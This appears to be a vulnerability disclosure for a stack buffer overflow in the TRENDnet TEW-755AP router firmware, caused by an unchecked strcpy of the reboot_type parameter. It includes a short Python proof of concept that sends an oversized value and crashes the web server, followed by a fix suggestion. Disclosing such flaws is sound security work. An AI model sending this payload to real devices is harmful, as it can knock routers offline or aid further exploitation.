We found a stack buffer overflow vulnerability at **TEW-755AP (**Firmware version TEW755AP-FW113B01.bin).

In the handler function for action wizard_ipv6 (sub_41C380) of the file /www/cgi/ssi, the value of reboot_type is directly copied to stack buffer via strcpy at line 17 without size check. An attacker can overflow the stack buffer by specifying reboot_type as a very long string.

PoC

import requests

url = "<http://192.168.17.221:80/apply.cgi>"
cookie = {"Cookie":"uid=1234"}
data = {'action' : "wizard_ipv6",
"reboot_type" : "a"*(0xc50-48)}
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
print(response)

We use python to send a crafted HTTP post request to the web server, and print out the return message.

Send the crafted HTTP request to the server, it will return 502 error code.

Fix Suggestion:

Use strncpy to perform avoid buffer overflow